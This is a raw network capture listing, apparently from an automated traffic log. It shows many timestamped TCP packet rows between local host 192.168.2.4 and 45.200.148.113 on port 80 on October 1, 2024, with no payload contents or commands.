Oct 1, 2024 07:51:18.083569050 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.083713055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083724022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083733082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083738089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083746910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083756924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083772898 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.083792925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.083950043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.083966017 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084007978 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.084028006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084038973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084048986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084064007 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.084065914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084075928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084086895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084100962 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.084150076 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.084310055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084429026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084439039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084449053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084458113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084467888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084471941 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.084477901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084486961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084491014 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.084496975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084516048 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.084542990 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.084852934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084862947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084877014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084887028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084897995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084903955 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.084907055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084918022 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.084942102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.084963083 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.085150957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.085160971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.085194111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.085200071 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.085203886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.085213900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.085222960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.085231066 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.085232973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.085247993 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.085249901 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.085258007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.085268974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.085283995 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.085315943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.160562992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.160619974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.160629988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.160628080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.160640001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.160655975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.160656929 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.160691023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.160691977 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.160720110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.160742044 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.160768986 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.160788059 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.160798073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.160835981 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.160942078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.160952091 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.160960913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.160969973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.160986900 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.161016941 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.161057949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161067963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161077976 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161087990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161098003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161107063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161108017 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.161143064 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.161298037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161314011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161323071 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161331892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161340952 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.161343098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161353111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161361933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161389112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.161413908 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.161676884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161688089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161696911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161706924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161716938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161720037 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.161726952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161753893 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161755085 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.161775112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.161803961 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.161956072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161967039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161976099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.161992073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162004948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162009954 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.162015915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162048101 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.162411928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162422895 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162432909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162442923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162452936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162462950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162472010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162473917 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.162482977 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162492990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162502050 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162512064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162517071 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.162528038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162538052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162547112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.162549019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162569046 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.162591934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.162961960 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162974119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162978888 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162990093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.162995100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.163023949 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.163058996 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171216011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171228886 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171237946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171284914 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171314001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171327114 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171329975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171341896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171358109 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171379089 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171442032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171452045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171478987 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171508074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171545029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171556950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171588898 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171607018 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171680927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171705961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171716928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171726942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171732903 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171736956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171747923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171762943 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171798944 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171818018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171828985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171839952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171849012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171869040 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171899080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.171974897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171986103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.171996117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172009945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172032118 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.172053099 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.172125101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172141075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172151089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172161102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172172070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172180891 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.172204971 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.172255039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172265053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172275066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172303915 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.172324896 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.172329903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172342062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172353029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172363043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172374964 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172386885 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.172420979 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.172589064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172600985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172610044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172620058 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172630072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172640085 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.172662020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.172802925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172816038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172837973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172847033 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.172853947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172864914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.172883034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.172923088 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.172923088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.173001051 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.173010111 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.173021078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.173029900 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.173039913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.173047066 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.173055887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.173065901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.173075914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.173080921 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.173085928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.173095942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.173105955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.173119068 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.173125029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.173146009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.173165083 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.249416113 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249442101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249454021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249474049 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.249501944 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.249510050 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249521971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249531984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249543905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249569893 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.249597073 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.249711990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249722004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249732971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249747992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249758005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249762058 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.249768019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249778986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249806881 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.249829054 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.249960899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.249972105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250011921 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.250042915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250053883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250065088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250075102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250077009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.250088930 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250119925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.250310898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250451088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250462055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250472069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250482082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250487089 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.250492096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250502110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250513077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250514030 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.250523090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250550985 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.250551939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250585079 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.250832081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250842094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250853062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250864029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250874043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.250883102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.250916958 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.251065016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.251075029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.251080036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.251086950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.251096964 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.251102924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.251111984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.251121998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.251132011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.251142979 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.251152992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.251230001 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.251230001 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.283915043 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.288697004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.458477974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.458555937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.458565950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.458576918 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.458590031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.458600998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.458611012 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.458643913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.458698988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.458734035 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.458890915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.458901882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.458913088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.458924055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.458940029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.458976984 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.459068060 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459250927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459264040 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459275007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459285021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459295988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459295988 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.459307909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459331036 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.459352016 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.459423065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459434032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459469080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:18.459614038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459626913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:18.459636927 CEST	80	49732	45.200.148.113	192.168.2.4
